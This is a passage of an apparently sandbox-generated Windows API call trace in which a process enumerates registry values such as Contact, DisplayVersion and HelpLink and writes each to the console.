pcbData=0x23f670*=0x2) returned 0x0 [0148.082] __iob_func () returned 0x7fefd702a80 [0148.082] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.082] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.082] _fileno (_File=0x7fefd702ab0) returned 1 [0148.082] _errno () returned 0xc4bb0 [0148.082] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.082] _errno () returned 0xc4bb0 [0148.082] GetFileType (hFile=0x50) returned 0x1 [0148.082] lstrlenW (lpString=" ") returned 4 [0148.082] GetConsoleOutputCP () returned 0x1b5 [0148.083] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.083] GetConsoleOutputCP () returned 0x1b5 [0148.083] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.083] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.083] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.083] lstrlenW (lpString="Contact") returned 7 [0148.083] __iob_func () returned 0x7fefd702a80 [0148.083] _fileno (_File=0x7fefd702ab0) returned 1 [0148.083] _errno () returned 0xc4bb0 [0148.083] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.083] _errno () returned 0xc4bb0 [0148.083] GetFileType (hFile=0x50) returned 0x1 [0148.083] lstrlenW (lpString="Contact") returned 7 [0148.083] GetConsoleOutputCP () returned 0x1b5 [0148.084] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Contact", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0148.084] GetConsoleOutputCP () returned 0x1b5 [0148.084] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Contact", cchWideChar=7, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Contact", lpUsedDefaultChar=0x0) returned 7 [0148.084] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 7 [0148.084] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.084] __iob_func () returned 0x7fefd702a80 [0148.084] _fileno (_File=0x7fefd702ab0) returned 1 [0148.084] _errno () returned 0xc4bb0 [0148.084] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.084] _errno () returned 0xc4bb0 [0148.084] GetFileType (hFile=0x50) returned 0x1 [0148.084] lstrlenW (lpString=" ") returned 4 [0148.084] GetConsoleOutputCP () returned 0x1b5 [0148.084] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.084] GetConsoleOutputCP () returned 0x1b5 [0148.084] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.084] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.084] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.084] __iob_func () returned 0x7fefd702a80 [0148.084] _fileno (_File=0x7fefd702ab0) returned 1 [0148.084] _errno () returned 0xc4bb0 [0148.084] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.085] _errno () returned 0xc4bb0 [0148.085] GetFileType (hFile=0x50) returned 0x1 [0148.085] lstrlenW (lpString="REG_SZ") returned 6 [0148.085] GetConsoleOutputCP () returned 0x1b5 [0148.085] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.085] GetConsoleOutputCP () returned 0x1b5 [0148.085] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.085] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.085] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.085] __iob_func () returned 0x7fefd702a80 [0148.085] _fileno (_File=0x7fefd702ab0) returned 1 [0148.085] _errno () returned 0xc4bb0 [0148.085] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.085] _errno () returned 0xc4bb0 [0148.085] GetFileType (hFile=0x50) returned 0x1 [0148.085] lstrlenW (lpString=" ") returned 4 [0148.085] GetConsoleOutputCP () returned 0x1b5 [0148.085] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.085] GetConsoleOutputCP () returned 0x1b5 [0148.086] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.086] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.086] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.086] __iob_func () returned 0x7fefd702a80 [0148.086] _fileno (_File=0x7fefd702ab0) returned 1 [0148.086] _errno () returned 0xc4bb0 [0148.086] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.086] _errno () returned 0xc4bb0 [0148.086] GetFileType (hFile=0x50) returned 0x1 [0148.086] lstrlenW (lpString="") returned 0 [0148.086] __iob_func () returned 0x7fefd702a80 [0148.086] _fileno (_File=0x7fefd702ab0) returned 1 [0148.086] _errno () returned 0xc4bb0 [0148.086] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.086] _errno () returned 0xc4bb0 [0148.086] GetFileType (hFile=0x50) returned 0x1 [0148.086] lstrlenW (lpString="\n") returned 1 [0148.086] GetConsoleOutputCP () returned 0x1b5 [0148.086] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.086] GetConsoleOutputCP () returned 0x1b5 [0148.086] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.086] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.086] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.086] GetProcessHeap () returned 0x2e0000 [0148.086] GetProcessHeap () returned 0x2e0000 [0148.086] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.087] GetProcessHeap () returned 0x2e0000 [0148.087] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.087] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.087] RegEnumValueW (in: hKey=0x5c, dwIndex=0x3, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayVersion", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.087] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x16) returned 0x0 [0148.087] GetProcessHeap () returned 0x2e0000 [0148.087] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x18) returned 0x2fd1a0 [0148.087] GetProcessHeap () returned 0x2e0000 [0148.087] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd1a0) returned 1 [0148.087] GetProcessHeap () returned 0x2e0000 [0148.087] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd1a0) returned 0x18 [0148.087] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fd1a0, pcbData=0x23f670*=0x16 | out: pdwType=0x23f5f0*=0x1, pvData="4.6.00081", pcbData=0x23f670*=0x14) returned 0x0 [0148.087] __iob_func () returned 0x7fefd702a80 [0148.087] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.087] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.087] _fileno (_File=0x7fefd702ab0) returned 1 [0148.087] _errno () returned 0xc4bb0 [0148.087] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.087] _errno () returned 0xc4bb0 [0148.087] GetFileType (hFile=0x50) returned 0x1 [0148.087] lstrlenW (lpString=" ") returned 4 [0148.087] GetConsoleOutputCP () returned 0x1b5 [0148.087] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.087] GetConsoleOutputCP () returned 0x1b5 [0148.087] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.087] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.087] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.088] lstrlenW (lpString="DisplayVersion") returned 14 [0148.088] __iob_func () returned 0x7fefd702a80 [0148.088] _fileno (_File=0x7fefd702ab0) returned 1 [0148.088] _errno () returned 0xc4bb0 [0148.088] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.088] _errno () returned 0xc4bb0 [0148.088] GetFileType (hFile=0x50) returned 0x1 [0148.088] lstrlenW (lpString="DisplayVersion") returned 14 [0148.088] GetConsoleOutputCP () returned 0x1b5 [0148.088] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0148.088] GetConsoleOutputCP () returned 0x1b5 [0148.088] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayVersion", lpUsedDefaultChar=0x0) returned 14 [0148.088] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 14 [0148.088] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.088] __iob_func () returned 0x7fefd702a80 [0148.088] _fileno (_File=0x7fefd702ab0) returned 1 [0148.088] _errno () returned 0xc4bb0 [0148.088] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.088] _errno () returned 0xc4bb0 [0148.088] GetFileType (hFile=0x50) returned 0x1 [0148.088] lstrlenW (lpString=" ") returned 4 [0148.088] GetConsoleOutputCP () returned 0x1b5 [0148.088] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.088] GetConsoleOutputCP () returned 0x1b5 [0148.089] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.089] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.089] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.089] __iob_func () returned 0x7fefd702a80 [0148.089] _fileno (_File=0x7fefd702ab0) returned 1 [0148.089] _errno () returned 0xc4bb0 [0148.089] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.089] _errno () returned 0xc4bb0 [0148.089] GetFileType (hFile=0x50) returned 0x1 [0148.089] lstrlenW (lpString="REG_SZ") returned 6 [0148.089] GetConsoleOutputCP () returned 0x1b5 [0148.089] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.089] GetConsoleOutputCP () returned 0x1b5 [0148.089] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.089] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.089] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.089] __iob_func () returned 0x7fefd702a80 [0148.089] _fileno (_File=0x7fefd702ab0) returned 1 [0148.089] _errno () returned 0xc4bb0 [0148.089] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.089] _errno () returned 0xc4bb0 [0148.089] GetFileType (hFile=0x50) returned 0x1 [0148.090] lstrlenW (lpString=" ") returned 4 [0148.090] GetConsoleOutputCP () returned 0x1b5 [0148.090] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.090] GetConsoleOutputCP () returned 0x1b5 [0148.090] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.090] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.090] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.090] __iob_func () returned 0x7fefd702a80 [0148.090] _fileno (_File=0x7fefd702ab0) returned 1 [0148.090] _errno () returned 0xc4bb0 [0148.090] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.090] _errno () returned 0xc4bb0 [0148.090] GetFileType (hFile=0x50) returned 0x1 [0148.090] lstrlenW (lpString="4.6.00081") returned 9 [0148.090] GetConsoleOutputCP () returned 0x1b5 [0148.090] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="4.6.00081", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0148.090] GetConsoleOutputCP () returned 0x1b5 [0148.090] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="4.6.00081", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4.6.00081", lpUsedDefaultChar=0x0) returned 9 [0148.090] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0148.090] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.091] __iob_func () returned 0x7fefd702a80 [0148.091] _fileno (_File=0x7fefd702ab0) returned 1 [0148.091] _errno () returned 0xc4bb0 [0148.091] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.091] _errno () returned 0xc4bb0 [0148.091] GetFileType (hFile=0x50) returned 0x1 [0148.091] lstrlenW (lpString="\n") returned 1 [0148.091] GetConsoleOutputCP () returned 0x1b5 [0148.091] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.091] GetConsoleOutputCP () returned 0x1b5 [0148.091] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.091] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.091] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.091] GetProcessHeap () returned 0x2e0000 [0148.091] GetProcessHeap () returned 0x2e0000 [0148.091] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd1a0) returned 1 [0148.091] GetProcessHeap () returned 0x2e0000 [0148.091] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd1a0) returned 0x18 [0148.091] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd1a0 | out: hHeap=0x2e0000) returned 1 [0148.091] RegEnumValueW (in: hKey=0x5c, dwIndex=0x4, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="HelpLink", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.091] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpLink", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.091] GetProcessHeap () returned 0x2e0000 [0148.091] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.091] GetProcessHeap () returned 0x2e0000 [0148.091] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.091] GetProcessHeap () returned 0x2e0000 [0148.091] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.092] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpLink", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0148.092] __iob_func () returned 0x7fefd702a80 [0148.092] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.092] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.092] _fileno (_File=0x7fefd702ab0) returned 1 [0148.092] _errno () returned 0xc4bb0 [0148.092] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.092] _errno () returned 0xc4bb0 [0148.092] GetFileType (hFile=0x50) returned 0x1 [0148.092] lstrlenW (lpString=" ") returned 4 [0148.092] GetConsoleOutputCP () returned 0x1b5 [0148.092] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.092] GetConsoleOutputCP () returned 0x1b5 [0148.092] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.092] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.092] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.092] lstrlenW (lpString="HelpLink") returned 8 [0148.092] __iob_func () returned 0x7fefd702a80 [0148.092] _fileno (_File=0x7fefd702ab0) returned 1 [0148.092] _errno () returned 0xc4bb0 [0148.092] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.092] _errno () returned 0xc4bb0 [0148.092] GetFileType (hFile=0x50) returned 0x1 [0148.092] lstrlenW (lpString="HelpLink") returned 8 [0148.092] GetConsoleOutputCP () returned 0x1b5 [0148.093] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpLink", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0148.093] GetConsoleOutputCP () returned 0x1b5 [0148.093] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpLink", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HelpLink", lpUsedDefaultChar=0x0) returned 8 [0148.093] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0148.093] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.093] __iob_func () returned 0x7fefd702a80 [0148.093] _fileno (_File=0x7fefd702ab0) returned 1 [0148.093] _errno () returned 0xc4bb0 [0148.093] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.093] _errno () returned 0xc4bb0 [0148.093] GetFileType (hFile=0x50) returned 0x1 [0148.093] lstrlenW (lpString=" ") returned 4 [0148.093] GetConsoleOutputCP () returned 0x1b5 [0148.093] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.093] GetConsoleOutputCP () returned 0x1b5 [0148.093] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.093] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.093] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.093] __iob_func () returned 0x7fefd702a80 [0148.093] _fileno (_File=0x7fefd702ab0) returned 1 [0148.094] _errno () returned 0xc4bb0 [0148.094] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.094] _errno () returned 0xc4bb0 [0148.094] GetFileType (hFile=0x50) returned 0x1 [0148.094] lstrlenW (lpString="REG_SZ") returned 6 [0148.094] GetConsoleOutputCP () returned 0x1b5 [0148.094] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.094] GetConsoleOutputCP () returned 0x1b5 [0148.094] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.094] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.094] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.094] __iob_func () returned 0x7fefd702a80 [0148.094] _fileno (_File=0x7fefd702ab0) returned 1 [0148.094] _errno () returned 0xc4bb0 [0148.094] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.094] _errno () returned 0xc4bb0 [0148.094] GetFileType (hFile=0x50) returned 0x1 [0148.094] lstrlenW (lpString=" ") returned 4 [0148.094] GetConsoleOutputCP () returned 0x1b5 [0148.094] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.094] GetConsoleOutputCP () returned 0x1b5 [0148.095] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.095] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.095] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.095] __iob_func () returned 0x7fefd702a80 [0148.095] _fileno (_File=0x7fefd702ab0) returned 1 [0148.095] _errno () returned 0xc4bb0 [0148.095] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.095] _errno () returned 0xc4bb0 [0148.095] GetFileType (hFile=0x50) returned 0x1 [0148.095] lstrlenW (lpString="") returned 0 [0148.095] __iob_func () returned 0x7fefd702a80 [0148.095] _fileno (_File=0x7fefd702ab0) returned 1 [0148.095] _errno () returned 0xc4bb0 [0148.095] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.095] _errno () returned 0xc4bb0 [0148.095] GetFileType (hFile=0x50) returned 0x1 [0148.095] lstrlenW (lpString="\n") returned 1 [0148.095] GetConsoleOutputCP () returned 0x1b5 [0148.095] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.095] GetConsoleOutputCP () returned 0x1b5 [0148.095] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, 